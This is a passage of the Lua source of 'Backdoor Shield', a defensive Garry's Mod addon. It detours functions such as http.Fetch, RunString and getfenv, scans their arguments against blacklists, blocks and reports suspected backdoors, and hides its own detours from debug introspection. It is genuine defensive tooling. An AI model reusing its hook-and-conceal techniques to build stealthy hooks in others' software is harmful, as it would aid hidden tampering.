54 | |-> bs_scan FOLDER(S) Recursively scan lua, txt, vmt, dat and 55 | | json files in FOLDER(S). 56 | | 57 | |-> bs_scan_full FOLDER(S) Recursively scan all files in FOLDER(S). 58 | 59 | * If no folder is defined, it'll scan addons, lua, gamemodes and 60 | data folders. 61 | 62 | Enabled features: 63 | |]], 64 | [5] = [[ 65 | 66 | Disclaimer: This addon will by no means solve all your problems! it 67 | is just a tool created for self-interest research. 68 | -------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --------]] } 69 | 70 | if not self.__G.BS_reloaded then 71 | for k, str in ipairs(logo) do 72 | if k == 5 then 73 | print(" |-> [" .. (self.live.isOn and "x" or " ") .. "] Live detection") 74 | print(" |-> [" .. (self.live.blockThreats and "x" or " ") .. "] Live blocking") 75 | print(" |-> [" .. (self.live.protectDetours and "x" or " ") .. "] Anti detour") 76 | print(" |-> [" .. (self.live.alertAdmins and "x" or " ") .. "] Alerts window") 77 | print(" |-> [" .. (self.devMode and "x" or " ") .. "] Dev mode") 78 | end 79 | print(str) 80 | end 81 | 82 | print() 83 | end 84 | 85 | -- Create cvars 86 | 87 | -- Command to scan all files in the main/selected folders 88 | concommand.Add("bs_scan", function(ply, cmd, args) 89 | if not ply:IsValid() or ply:IsAdmin() then 90 | self:Scanner_Start(args, self.scanner.dangerousExtensions) 91 | end 92 | end) 93 | 94 | -- Command to scan some files in the main/selected folders 95 | concommand.Add("bs_scan_full", function(ply, cmd, args) 96 | if not ply:IsValid() or ply:IsAdmin() then 97 | self:Scanner_Start(args) 98 | end 99 | end) 100 | 101 | -- Command to run an automatic set of tests 102 | if self.devMode then 103 | concommand.Add("bs_tests", function(ply, cmd, args) 104 | if not ply:IsValid() or ply:IsAdmin() then 105 | self:Debug_RunTests(args) 106 | end 107 | end) 108 | end 109 | 110 | -- Set auto reloading 111 | 112 | self:AutoReloading_Set() 113 | 114 | -- Set live protection 115 | 116 | if self.live.isOn then 117 | self:Detour_Init() 118 | 119 | InitSv_SetLiveCallerBlacklist(self) 120 | 121 | self:Detour_SetAutoCheck() 122 | 123 | self:Stack_Init() 124 | 125 | if not GetConVar("sv_hibernate_think"):GetBool() then 126 | hook.Add("Initialize", self:Utils_GetRandomName(), function() 127 | RunConsoleCommand("sv_hibernate_think", "1") 128 | 129 | timer.Simple(self.devMode and 99999999 or 300, function() 130 | RunConsoleCommand("sv_hibernate_think", "0") 131 | end) 132 | end) 133 | end 134 | end 135 | end 136 | -------------------------------------------------------------------------------- /lua/bs/init.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | 5 | Backdoor Shield (BS) (Also known as bullshit detector) 6 | ]] 7 | 8 | AddCSLuaFile() 9 | 10 | -- ------------------------------------------------ 11 | -- Initialize pre files include variables 12 | 13 | BS = {} 14 | 15 | BS.version = "V. 1.10.0" 16 | 17 | BS.alert = "[Backdoor Shield]" 18 | BS.folder = {} 19 | BS.folder.data = "backdoor-shield" 20 | BS.folder.lua = "bs" 21 | BS.folder.sv_libs = BS.folder.lua .. "/server/libs" 22 | BS.folder.cl_libs = BS.folder.lua .. "/client/libs" 23 | 24 | BS.locals = {} -- Register local functions addresses, set their environment to protected, cease to exist 25 | 26 | BS.colors = { 27 | header = Color(255, 0, 255), 28 | key = Color(0, 255, 0), 29 | value = Color(255, 255, 255), 30 | message = Color(0, 255, 255), 31 | reload = Color(0, 255, 255), 32 | highRisk = Color(255, 0, 0), 33 | mediumRisk = Color(255, 255, 0), 34 | lowRisk = Color(0, 0, 255), 35 | } 36 | 37 | if SERVER then 38 | BS.reloaded = false -- Internal control: tell the older code that it's not running anymore, so we can turn off timers etc 39 | -- BS.__G.BS_reloaded -- Internal control: tell the newer code that it's from a refresh, so we can do adjustments like hiding the initial screen 40 | 41 | -- Counting 42 | BS.liveCount = { 43 | detections = 0, 44 | warnings = 0 45 | } 46 | --[[ 47 | List of protected functions and their filters 48 | { 49 | ["function name"] = { 50 | filters = { function filter, ... } 51 | detour = function detour address 52 | }, 53 | ... 54 | } 55 | ]] 56 | BS.liveDetours = {} 57 | -- List traces saved from some functions. e.g { ["function address"] = { name = "fuction name", trace = trace }, ... } 58 | BS.liveTraceStacks = {} 59 | --[[ 60 | Blocked calls 61 | { 62 | ["function name"] = { 63 | [detoured blocked caller address A] = blocked caller name, 64 | [original blocked caller address A] = blocked caller name, 65 | ... 66 | }, 67 | ... 68 | } 69 | ]] 70 | BS.liveCallerBlacklist = {} 71 | 72 | -- Lists with structures focused on quick searches 73 | -- { [value] = true, ... } 74 | BS.scannerDangerousExtensions_EZSearch = {} 75 | BS.scannerLooseFiles_EZSearch = {} 76 | BS.liveLooseFiles_EZSearch = {} 77 | BS.liveWhitelistsFiles_EZSearch = {} 78 | 79 | -- More lists with structures focused on quick searches 80 | 81 | -- Adjusts the internal format of some definitions, which have been changed for readability 82 | BS.scannerBlacklist_FixedFormat = {} -- { k = term, ... } 83 | BS.liveBlacklistStack_FixedFormat2D = {} -- { [id] = { k = term, ... }, ... } 84 | end 85 | 86 | -- ------------------------------------------------ 87 | -- Include files 88 | 89 | local function includeLibs(dir, isClientLib) 90 | local files, dirs = file.Find( dir .. "*", "LUA" ) 91 | 92 | if not dirs then return end 93 | 94 | for _, subDir in ipairs(dirs) do 95 | includeLibs(dir .. subDir .. "/", isClientLib) 96 | end 97 | 98 | for k, _file in ipairs(files) do 99 | if SERVER and isClientLib then 100 | AddCSLuaFile(dir .. _file) 101 | else 102 | include(dir .. _file) 103 | end 104 | end 105 | end 106 | 107 | if SERVER then 108 | AddCSLuaFile("autorun/client/bs_cl_autorun.lua") 109 | 110 | include(BS.folder.lua .. "/server/definitions/main.lua") 111 | include(BS.folder.lua .. "/server/definitions/liveprotection.lua") 112 | include(BS.folder.lua .. "/server/definitions/filescanner.lua") 113 | include(BS.folder.lua .. "/server/sv_init.lua") 114 | includeLibs(BS.folder.sv_libs .. "/") 115 | end 116 | includeLibs(BS.folder.cl_libs .. "/", true) 117 | 118 | -- ------------------------------------------------ 119 | -- Initialize post files include variables 120 | 121 | if SERVER then 122 | BS.filenames = BS:Utils_GetFilesCreationTimes() -- Get the creation time of each Lua game file 123 | end 124 | 125 | -- ------------------------------------------------ 126 | -- Create our data folder 127 | 128 | if SERVER then 129 | if not file.Exists(BS.folder.data, "DATA") then 130 | file.CreateDir(BS.folder.data) 131 | end 132 | end 133 | 134 | -- ------------------------------------------------ 135 | -- Protect environment 136 | 137 | -- Isolate our addon functions 138 | local BS_AUX = table.Copy(BS) 139 | BS = nil 140 | local BS = BS_AUX 141 | 142 | -- Create a deep copy of the global table 143 | local __G_SAFE = table.Copy(_G) 144 | 145 | -- Set our custom environment to main functions 146 | for _,v in pairs(BS)do 147 | if isfunction(v) then 148 | setfenv(v, __G_SAFE) 149 | end 150 | end 151 | 152 | -- Set our custom environment to local functions 153 | for _,v in ipairs(BS.locals)do 154 | setfenv(v, __G_SAFE) 155 | end 156 | BS.locals = nil 157 | 158 | -- Access the global table inside our custom environment 159 | BS.__G = _G 160 | 161 | if SERVER then 162 | -- ------------------------------------------------ 163 | -- Setup internal tables 164 | 165 | -- Create tables to check values faster 166 | 167 | -- e.g. { [1] = "lua/derma/derma.lua" } turns into { ["lua/derma/derma.lua"] = true } 168 | local inverseIpairs = { 169 | { BS.scanner.loose.files, BS.scannerLooseFiles_EZSearch }, 170 | { BS.live.loose.files, BS.liveLooseFiles_EZSearch }, 171 | { BS.live.whitelists.files, BS.liveWhitelistsFiles_EZSearch }, 172 | { BS.scanner.dangerousExtensions, BS.scannerDangerousExtensions_EZSearch }, 173 | } 174 | 175 | for _, tabs in ipairs(inverseIpairs) do 176 | for _, field in ipairs(tabs[1]) do 177 | tabs[2][field] = true 178 | end 179 | end 180 | 181 | -- Rearrange tables to the expected formats 182 | 183 | local inversePairsToIpais = { 184 | { BS.scanner.blacklist, BS.scannerBlacklist_FixedFormat } 185 | } 186 | 187 | for k, tabs in ipairs(inversePairsToIpais) do 188 | for newValue, _ in pairs(tabs[1]) do 189 | table.insert(tabs[2], newValue) 190 | end 191 | end 192 | 193 | for funcName, stackBlacklistTab in pairs(BS.live.blacklists.stack) do 194 | for k, blacklistedStackFuncName in pairs(stackBlacklistTab) do 195 | BS.liveBlacklistStack_FixedFormat2D[blacklistedStackFuncName] = BS.liveBlacklistStack_FixedFormat2D[blacklistedStackFuncName] or {} 196 | table.insert(BS.liveBlacklistStack_FixedFormat2D[blacklistedStackFuncName], funcName) 197 | end 198 | end 199 | 200 | -- ------------------------------------------------ 201 | -- Call other specific initializations 202 | 203 | BS:Initialize() 204 | end -------------------------------------------------------------------------------- /lua/bs/server/libs/liveprotection/detour.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- Initialize each detour with its filters 7 | function BS:Detour_Init() 8 | for funcName, settingsDetourTab in pairs(self.live.detours) do 9 | local filterSetting = settingsDetourTab.filters or {} 10 | 11 | if isstring(filterSetting) then 12 | filterSetting = { filterSetting } 13 | end 14 | 15 | self.liveDetours[funcName] = { 16 | filters = {} 17 | } 18 | 19 | for k, filterName in ipairs(filterSetting) do 20 | self.liveDetours[funcName].filters[k] = self[filterName] 21 | end 22 | 23 | if not (game.SinglePlayer() and settingsDetourTab.multiplayerOnly) then 24 | self:Detour_Create(funcName, self.liveDetours[funcName].filters) 25 | end 26 | end 27 | end 28 | 29 | -- Auto detouring protection 30 | -- First 5m running: check every 5s 31 | -- Later: check every 60s 32 | -- Note: This function isn't really necessary, but it's good for advancing detections 33 | function BS:Detour_SetAutoCheck() 34 | local function SetAuto(name, delay) 35 | timer.Create(name, delay, 0, function() 36 | if self.reloaded then 37 | timer.Remove(name) 38 | 39 | return 40 | end 41 | 42 | for funcName, settingsDetourTab in pairs(self.live.detours) do 43 | if not (game.SinglePlayer() and settingsDetourTab.multiplayerOnly) then 44 | self:Detour_Validate(funcName) 45 | end 46 | end 47 | end) 48 | end 49 | 50 | local name = self:Utils_GetRandomName() 51 | 52 | SetAuto(name, 5) 53 | 54 | timer.Simple(300, function() 55 | SetAuto(name, 60) 56 | end) 57 | end 58 | 59 | -- Protect a detoured address 60 | function BS:Detour_Validate(funcName, trace, isLoose) 61 | local currentAddress = self:Detour_GetFunction(funcName) 62 | local detourAddress = self.liveDetours[funcName].detourFunc 63 | 64 | if not trace or string.len(trace) == 4 then 65 | local source = debug.getinfo(currentAddress, "S").source 66 | local luaFile = self:Utils_ConvertAddonPath(string.sub(source, 1, 1) == "@" and string.sub(source, 2)) 67 | trace = [[ stack traceback: 68 | ]] .. luaFile 69 | end 70 | 71 | local isWhitelisted = self:Trace_IsWhitelisted(trace) 72 | 73 | if isWhitelisted then return isWhitelisted end -- I don't return if it's loose here because it doesn't matter and it saves processing 74 | 75 | local isLoose = self:Trace_IsLoose(trace) 76 | 77 | if detourAddress ~= currentAddress then 78 | local info = { 79 | func = funcName, 80 | trace = trace 81 | } 82 | 83 | if isLoose then 84 | info.type = "warning" 85 | info.alert = "Warning! Detour detected in a low-risk location. Ignoring it..." 86 | else 87 | info.type = "detour" 88 | info.alert = "Detour detected" .. (self.live.protectDetours and " and undone!" or "!") 89 | 90 | if self.live.protectDetours then 91 | self:Detour_SetFunction(funcName, detourAddress) 92 | end 93 | end 94 | 95 | self:Report_LiveDetection(info) 96 | end 97 | 98 | return isWhitelisted, isLoose 99 | end 100 | 101 | -- Call an original game function from our protected environment 102 | -- Note: It was created to simplify these calls directly from Detour_GetFunction() 103 | function BS:Detour_CallOriginalFunction(funcName, args) 104 | return self:Detour_GetFunction(funcName, _G)(unpack(args)) 105 | end 106 | 107 | -- Get a function address by name from a selected environment 108 | function BS:Detour_GetFunction(funcName, env) 109 | env = env or self.__G 110 | local currentFunc = {} 111 | 112 | for k, funcNamePart in ipairs(string.Explode(".", funcName)) do 113 | currentFunc[k] = currentFunc[k - 1] and currentFunc[k - 1][funcNamePart] or env[funcNamePart] 114 | end 115 | 116 | return currentFunc[#currentFunc] 117 | end 118 | 119 | -- Update a function address by name in a selected environment 120 | function BS:Detour_SetFunction(funcName, newfunc, env) 121 | env = env or self.__G 122 | 123 | local newTable = {} 124 | local newTableCurrent = newTable 125 | 126 | local lib = env 127 | local explodedFuncName = string.Explode(".", funcName) 128 | local totalParts = #explodedFuncName 129 | 130 | for k, partName in ipairs(explodedFuncName) do 131 | lib[partName] = k == totalParts and newfunc or lib[partName] or {} 132 | lib = lib[partName] 133 | end 134 | end 135 | 136 | -- Set a detour (including the filters) 137 | -- Note: if a filter validates but doesn't return the result from Detour_CallOriginalFunction(), just return "true" (between quotes!) 138 | function BS:Detour_Create(funcName, filters) 139 | local running = {} -- Avoid loops 140 | 141 | function Detour(...) 142 | local args = {...} 143 | 144 | -- Avoid loops 145 | if running[funcName] then 146 | return self:Detour_CallOriginalFunction(funcName, args) 147 | end 148 | running[funcName] = true 149 | 150 | -- Get and check the trace 151 | local trace = debug.traceback() 152 | trace = self:Trace_GetPersistent(trace) 153 | 154 | -- Check detour, whitelists and loose list 155 | local isWhitelisted, isLoose = self:Detour_Validate(funcName, trace) 156 | 157 | if isWhitelisted then 158 | running[funcName] = nil 159 | 160 | return self:Detour_CallOriginalFunction(funcName, args) 161 | end 162 | 163 | -- Run filters 164 | --[[ 165 | Possible filter results: 166 | true = Detections. Stop the execution and return retunOnDetection if it exists 167 | false = No detections. If all filters return false, run the original function with the original args 168 | "runOnFilter" = the filter takes care of detecting threats and executing the functions 169 | table = No detections. The filter took care of executing the function and returned the result iside a table. 170 | This feature can be used once per detoured function. This can be changed in the future if the need arises. 171 | Note: 172 | ]] 173 | local runOnFilter = false 174 | local returnedResult = nil 175 | if filters then 176 | for k, filter in ipairs(filters) do 177 | local result = filter(self, trace, funcName, args, isLoose) 178 | 179 | if result == "runOnFilter" then 180 | runOnFilter = true 181 | elseif istable(result) then 182 | returnedResult = result 183 | elseif result == true then 184 | running[funcName] = nil 185 | 186 | return self.live.detours[funcName].retunOnDetection 187 | end 188 | 189 | if k == #filters then 190 | running[funcName] = nil 191 | if not runOnFilter then 192 | if returnedResult then 193 | return unpack(returnedResult) 194 | else 195 | return self:Detour_CallOriginalFunction(funcName, args) 196 | end 197 | end 198 | end 199 | end 200 | else 201 | running[funcName] = nil 202 | 203 | return self:Detour_CallOriginalFunction(funcName, args) 204 | end 205 | end 206 | 207 | -- Set detour 208 | self:Detour_SetFunction(funcName, Detour) 209 | self.liveDetours[funcName].detourFunc = Detour 210 | end 211 | 212 | -- Remove our detours 213 | -- Used only by auto reloading functions 214 | function BS:Detour_RemoveAll() 215 | for funcName, detourTab in pairs(self.liveDetours) do 216 | self:Detour_SetFunction(funcName, self:Detour_GetFunction(funcName, _G)) 217 | end 218 | end 219 | -------------------------------------------------------------------------------- /lua/bs/server/libs/liveprotection/filter.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- Process a string passed by argument 7 | local function ScanArgument(BS, str, funcName, detected, warning) 8 | if not isstring(str) then return end 9 | if BS:Scan_Whitelist(str, BS.live.whitelists.snippets) then return end 10 | 11 | if istable(detected) then 12 | -- Invisible characters 13 | local foundChars = BS:Scan_Characters(BS, str, "lua") 14 | 15 | for invalidCharName, linesTab in pairs(foundChars) do 16 | table.insert(detected, invalidCharName) 17 | end 18 | 19 | -- Blacklisted functions 20 | local stackBlacklist = BS.liveBlacklistStack_FixedFormat2D[funcName] 21 | if stackBlacklist then 22 | local foundTerms = BS:Scan_Blacklist(BS, str, stackBlacklist, detected) 23 | 24 | for term, linesTab in pairs(foundTerms) do 25 | table.insert(detected, term) 26 | end 27 | end 28 | 29 | -- Blacklisted snippets 30 | local foundTerms = BS:Scan_Blacklist(BS, str, BS.live.blacklists.arguments.snippets) 31 | 32 | for term, linesTab in pairs(foundTerms) do 33 | table.insert(detected, term) 34 | end 35 | 36 | -- Blacklisted console commands and variables 37 | local foundTerms = BS:Scan_Blacklist(BS, str, BS.live.blacklists.arguments.console) 38 | 39 | for term, linesTab in pairs(foundTerms) do 40 | table.insert(detected, term) 41 | end 42 | end 43 | 44 | if istable(warning) then 45 | end 46 | 47 | return 48 | end 49 | table.insert(BS.locals, ScanArgument) 50 | 51 | -- Scan http.Fetch and http.Post contents 52 | -- Add persistent trace support to the called functions 53 | function BS:Filter_ScanHttpFetchPost(trace, funcName, args, isLoose) 54 | local url = args[1] 55 | 56 | local function Scan(args2) 57 | local detected = {} 58 | local warning = {} 59 | 60 | for _, whitelistedUrl in ipairs(self.live.whitelists.urls) do 61 | local urlStart = string.find(url, whitelistedUrl, nil, true) 62 | 63 | if urlStart and urlStart == 1 then 64 | return self:Detour_CallOriginalFunction(funcName, args) 65 | end 66 | end 67 | 68 | ScanArgument(self, url, funcName, detected, warning) 69 | 70 | for _, arg in pairs(args2) do 71 | if isstring(arg) then 72 | ScanArgument(self, arg, funcName, detected, warning) 73 | elseif istable(arg) then 74 | for k, v in ipairs(arg) do 75 | ScanArgument(self, k, funcName, detected, warning) 76 | ScanArgument(self, v, funcName, detected, warning) 77 | end 78 | end 79 | end 80 | 81 | local report = not isLoose and #detected > 0 and { "detected", "Execution blocked!", detected } or 82 | (isLoose or #warning > 0) and { "warning", "Suspicious execution".. (isLoose and " in a low-risk location" or "") .."!" .. (isLoose and " Ignoring it..." or ""), warning } 83 | 84 | if report then 85 | local info = { 86 | type = report[1], 87 | folder = funcName, 88 | alert = report[2], 89 | func = funcName, 90 | trace = trace, 91 | url = url, 92 | detected = report[3], 93 | snippet = table.ToString(args2, "arguments", true), 94 | file = self:Trace_GetLuaFile(trace) 95 | } 96 | 97 | self:Report_LiveDetection(info) 98 | end 99 | 100 | if not self.live.blockThreats or isLoose or not report then 101 | self:Trace_SetPersistent(args[2], funcName, trace) 102 | 103 | self:Detour_CallOriginalFunction(funcName, args) 104 | end 105 | end 106 | 107 | if funcName == "http.Fetch" then 108 | http.Fetch(url, function(...) 109 | local args2 = { ... } 110 | Scan(args2) 111 | end, function(...) 112 | local args2 = { ... } 113 | Scan(args2) 114 | end, args[4]) 115 | elseif funcName == "http.Post" then 116 | http.Post(url, args[2], function(...) 117 | local args2 = { ... } 118 | args2[9999] = args[2] 119 | Scan(args2) 120 | end, function(...) 121 | local args2 = { ... } 122 | args2[9999] = args[2] 123 | Scan(args2) 124 | end, args[5]) 125 | end 126 | 127 | return "runOnFilter" 128 | end 129 | 130 | -- Check CompileString, CompileFile, RunString and RunStringEX contents 131 | function BS:Filter_ScanStrCode(trace, funcName, args, isLoose) 132 | local code = funcName == "CompileFile" and file.Read(args[1], "LUA") or args[1] 133 | local detected = {} 134 | local warning = {} 135 | 136 | ScanArgument(self, code, funcName, detected, warning) 137 | 138 | local report = not isLoose and #detected > 0 and { "detected", "Execution blocked!", detected } or 139 | (isLoose or #warning > 0) and { "warning", "Suspicious execution".. (isLoose and " in a low-risk location" or "") .."!" .. (isLoose and " Ignoring it..." or ""), warning } 140 | 141 | if report then 142 | local info = { 143 | type = report[1], 144 | folder = funcName, 145 | alert = report[2], 146 | func = funcName, 147 | trace = trace, 148 | detected = report[3], 149 | snippet = code, 150 | file = self:Trace_GetLuaFile(trace) 151 | } 152 | 153 | self:Report_LiveDetection(info) 154 | end 155 | 156 | if self.live.blockThreats and report and not isLoose then 157 | return true 158 | end 159 | 160 | return false 161 | end 162 | 163 | -- Validate functions that can't call each other 164 | -- Return false if we detect something or "true" if it's fine. 165 | -- Note that "true" is really between quotes because we need to identify it and not pass the value forward. 166 | local callersWarningCooldown = {} -- Don't flood the console with messages 167 | function BS:Filter_ScanStack(trace, funcName, args, isLoose) 168 | local protectedFuncName = self:Stack_Check(funcName) 169 | local detectedFuncName = funcName 170 | 171 | if protectedFuncName then 172 | if not callersWarningCooldown[detectedFuncName] then 173 | callersWarningCooldown[detectedFuncName] = true 174 | timer.Simple(0.01, function() 175 | callersWarningCooldown[detectedFuncName] = nil 176 | end) 177 | 178 | local info = { 179 | type = isLoose and "warning" or "detected", 180 | folder = protectedFuncName, 181 | alert = isLoose and "Warning! Prohibited function call in a low-risk location! Ignoring it..." or "Detected function call!", 182 | func = protectedFuncName, 183 | trace = trace, 184 | detected = { detectedFuncName }, 185 | file = self:Trace_GetLuaFile(trace) 186 | } 187 | 188 | self:Report_LiveDetection(info) 189 | end 190 | 191 | if self.live.blockThreats and not isLoose then 192 | return true 193 | else 194 | return false 195 | end 196 | else 197 | return false 198 | end 199 | end 200 | 201 | -- Add persistent trace support to the function called by timers 202 | function BS:Filter_ScanTimers(trace, funcName, args) 203 | self:Trace_SetPersistent(args[2], funcName, trace) 204 | 205 | return false 206 | end 207 | 208 | -- Hide our detours 209 | -- Force getinfo to jump our functions 210 | function BS:Filter_ProtectDebugGetinfo(trace, funcName, args) 211 | if isfunction(args[1]) then 212 | return self:Filter_ProtectAddresses(trace, funcName, args) 213 | else 214 | return { self:Stack_SkipBSFunctionss(args) } 215 | end 216 | end 217 | 218 | -- Hide our detours 219 | -- These functions are used to verify if other functions have valid addresses: 220 | -- debug.getinfo, jit.util.funcinfo and tostring 221 | -- Note: using this filter inside tostring is still unstable 222 | local checking = {} 223 | function BS:Filter_ProtectAddresses(trace, funcName, args) 224 | if checking[funcName] then -- Avoid loops 225 | return self:Detour_CallOriginalFunction(funcName, args) 226 | end 227 | checking[funcName] = true 228 | 229 | local changedArg = false 230 | if args[1] and isfunction(args[1]) then 231 | for funcName, detourTab in pairs(self.liveDetours) do 232 | if args[1] == detourTab.detourFunc then 233 | args[1] = self:Detour_GetFunction(funcName, _G) 234 | changedArg = true 235 | break 236 | end 237 | end 238 | end 239 | 240 | checking[funcName] = nil 241 | 242 | if changedArg then 243 | return { self:Detour_CallOriginalFunction(funcName, args) } 244 | else 245 | return false 246 | end 247 | end 248 | 249 | -- Protect our custom environment 250 | -- Don't return it! 251 | -- getfenv and debug.getfenv 252 | function BS:Filter_ProtectEnvironment(trace, funcName, args) 253 | local result = self:Detour_CallOriginalFunction(funcName, args) 254 | result = result == _G and self.__G or result 255 | 256 | if result == self.__G then 257 | local info = { 258 | type = "warning", 259 | alert = "A script got _G through " .. funcName .. "!", 260 | func = funcName, 261 | trace = trace, 262 | file = self:Trace_GetLuaFile(trace) 263 | } 264 | 265 | self:Report_LiveDetection(info) 266 | end 267 | 268 | return { result } 269 | end 270 | -------------------------------------------------------------------------------- /lua/bs/server/libs/liveprotection/stack.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | 5 | HACKS: For some reason these functions are EXTREMELY temperamental! I was unable to use 6 | nested code, to pass arguments and even to freely write variables or acceptable syntax. 7 | They only work when it's a mess. If you want to improve this code, test each changed line 8 | or you'll regret breathing! 9 | 10 | Note: I also can't check the stack in a custom environment, so if you see _debug.getinfo 11 | or _debug.getlocal __don't use this__: table.insert(BS.locals, some_function) 12 | ]] 13 | 14 | -- I can't pass arguments or move the functions to our environment, so I copy my tables locally 15 | local BS_liveCallerBlacklist_Hack 16 | local BS_liveTraceStacks_Hack 17 | 18 | -- Protect against detouring, get real results 19 | local _debug = {} 20 | _debug.getinfo = debug.getinfo 21 | _debug.getlocal = debug.getlocal 22 | 23 | local _string = {} 24 | _string.Explode = string.Explode 25 | _string.find = string.find 26 | 27 | local _table = table 28 | local _tostring = tostring 29 | local _ipairs = ipairs 30 | local _pairs = pairs 31 | local __G = _G 32 | 33 | -- Workarounds to pass arguments 34 | 35 | -- This works by adding the arguments to the stack, entering the function and immediately poping 36 | -- the entire stack inside the function. 37 | local argsPop = {} 38 | local function InsertArgs(args) 39 | _table.insert(argsPop, args) 40 | end 41 | _table.insert(BS.locals, InsertArgs) 42 | 43 | function BS:Stack_Init() 44 | -- Store some BS table addresses 45 | BS_liveCallerBlacklist_Hack = self.liveCallerBlacklist 46 | BS_liveTraceStacks_Hack = self.liveTraceStacks 47 | 48 | -- HACK!!! The first stack check call in an init file always gives this error: 49 | -- [backdoor-shield] addons/!!!backdoor-shield/lua/bs/server/libs/liveprotection/filter.lua:215: bad argument #1 to 'Stack_SkipBSFunctionss' (invalid option) 50 | -- 1. Stack_SkipBSFunctionss - [C]:-1 51 | -- 2. filter - addons/!!!backdoor-shield/lua/bs/server/libs/liveprotection/filter.lua:215 52 | -- 3. getinfo - addons/!!!backdoor-shield/lua/bs/server/libs/liveprotection/detour.lua:173 53 | -- 4. unknown - addons/!!!backdoor-shield/lua/autorun/tests.lua:16 54 | -- I "solved it" by calling the function before everyone else and throwing the error away. 55 | pcall(function() 56 | self.__G.debug.getinfo(1) 57 | end) 58 | end 59 | 60 | -- Check for prohibited function combinations (scanning by address) 61 | -- If the stack is ok, return false 62 | -- If the stack has a detection, return the "protected func name" 63 | local function Stack_Check() 64 | local vars = { -- Note: adding new variables outside this table can break the function for some reason!!!! So weird 65 | increment = 1, 66 | detected = 0, 67 | currentFuncAddress, 68 | currentFuncName 69 | } 70 | 71 | -- This is how I'm passing arguments, as explained above 72 | for k, arg in _ipairs(argsPop) do 73 | vars.currentFuncAddress = arg[1] 74 | vars.currentFuncName = arg[2] 75 | argsPop[k] = nil 76 | break 77 | end 78 | 79 | while true do 80 | local func = _debug.getinfo(vars.increment, "flnSu" ) 81 | 82 | if func == nil then break end 83 | 84 | local name, value = _debug.getlocal(1, 2, vars.increment) 85 | 86 | if value then 87 | -- Update the name and address using info from the trace stacks, if it's the case 88 | local liveTraceStacks = BS_liveTraceStacks_Hack[_tostring(value.func)] 89 | 90 | if liveTraceStacks then 91 | local func = __G 92 | 93 | for k, funcNamePart in _ipairs(_string.Explode(".", liveTraceStacks.name)) do 94 | func = func[funcNamePart] 95 | end 96 | 97 | value.func = func -- Use the address of the last function from the older stack, so we can keep track of what's happening 98 | value.name = liveTraceStacks.name 99 | end 100 | 101 | -- Now we are going to check if it's a protected function call 102 | if value.func then 103 | -- Find the current call 104 | if vars.detected == 0 and _tostring(value.func) == _tostring(vars.currentFuncAddress) then -- I tried to compare the addresses directly but it doesn't work here 105 | -- Debug 106 | --print("---> FOUND CURRENT CALL") 107 | 108 | vars.detected = vars.detected + 1 109 | value.name = vars.currentFuncName 110 | else 111 | -- Find a forbidden previous caller 112 | if vars.detected == 1 then 113 | -- !!WORKAROUND!! Sometimes _tostring() returns the original function address here (lol, kill me), so 114 | -- I decided to store both the detoured and the original addresses in BS_liveCallerBlacklist_Hack. 115 | local blacklistedFuncName = BS_liveCallerBlacklist_Hack[vars.currentFuncName][_tostring(value.func)] 116 | 117 | if blacklistedFuncName then 118 | -- Debug 119 | --print("---> FOUND FORBIDDEN CALLER") 120 | 121 | vars.detected = vars.detected + 1 122 | value.name = blacklistedFuncName 123 | end 124 | end 125 | end 126 | end 127 | end 128 | 129 | -- Debug 130 | --print(value.name and value.name or "") 131 | --print(value.func) 132 | 133 | -- Forbidden caller found 134 | if vars.detected == 2 then 135 | return value.name 136 | end 137 | 138 | vars.increment = vars.increment + 1 139 | end 140 | return false 141 | end 142 | 143 | function BS:Stack_Check(funcName) 144 | InsertArgs({ self:Detour_GetFunction(funcName), funcName }) 145 | return Stack_Check() 146 | end 147 | 148 | -- Get the function of the higher call in the stack 149 | local function Stack_GetTopFunctionAddress() 150 | local vars = { increment = 1, func = nil } 151 | 152 | while true do 153 | local func = _debug.getinfo(vars.increment, "flnSu") 154 | local name, value = _debug.getlocal(1, 2, vars.increment) 155 | 156 | if func == nil then break end 157 | 158 | if value then 159 | vars.func = value.func 160 | end 161 | 162 | vars.increment = vars.increment + 1 163 | end 164 | 165 | return vars.func 166 | end 167 | 168 | function BS:Stack_GetTopFunctionAddress() 169 | return Stack_GetTopFunctionAddress() 170 | end 171 | 172 | -- Return the result debug.getinfo result skipping our functions 173 | local function Stack_SkipBSFunctions() 174 | local vars = { -- Note: adding new variables outside this table can break the function for some reason!!!! So weird 175 | increment = 1, 176 | skipLevel = false, 177 | foundGetinfo = false, 178 | foundBSAgain = false, 179 | requiredStackLevel, 180 | requiredFields, 181 | luaFolder, 182 | args 183 | } 184 | 185 | -- This is how I'm passing arguments, as explained at the top of this file 186 | for k, arg in _ipairs(argsPop) do 187 | vars.requiredStackLevel = arg[1] 188 | vars.requiredFields = arg[2] 189 | vars.luaFolder = arg[3] 190 | argsPop[k] = nil 191 | 192 | break 193 | end 194 | 195 | while true do 196 | local func = _debug.getinfo(vars.increment, "flnSu" ) 197 | 198 | if func == nil then break end 199 | 200 | local name, value = _debug.getlocal(1, 2, vars.increment) 201 | 202 | if value then 203 | -- Step 4: skip BS files. 204 | -- The correct result is the top of the stack. 205 | -- If the required stack level is out of bounds, this loop will break, because we skipped a level in step 2. 206 | if vars.foundBSAgain then 207 | local result = _debug.getinfo(vars.increment, vars.requiredFields) 208 | 209 | if not _string.find(_debug.getinfo(vars.increment,"S")["short_src"], "/lua/" .. vars.luaFolder) then 210 | if vars.requiredStackLevel == 1 then 211 | return result 212 | end 213 | 214 | vars.requiredStackLevel = vars.requiredStackLevel - 1 215 | end 216 | -- Step 3: Keep going until stack level is 1 and return if it's not checking BS files. 217 | -- If BS files are found, skip then. 218 | elseif vars.foundGetinfo then 219 | local result = _debug.getinfo(vars.increment, vars.requiredFields) 220 | 221 | if result and 222 | _string.find(_debug.getinfo(vars.increment,"S")["short_src"], "/lua/" .. vars.luaFolder) then 223 | 224 | vars.foundBSAgain = true 225 | else 226 | if vars.requiredStackLevel == 1 then 227 | return result 228 | end 229 | 230 | 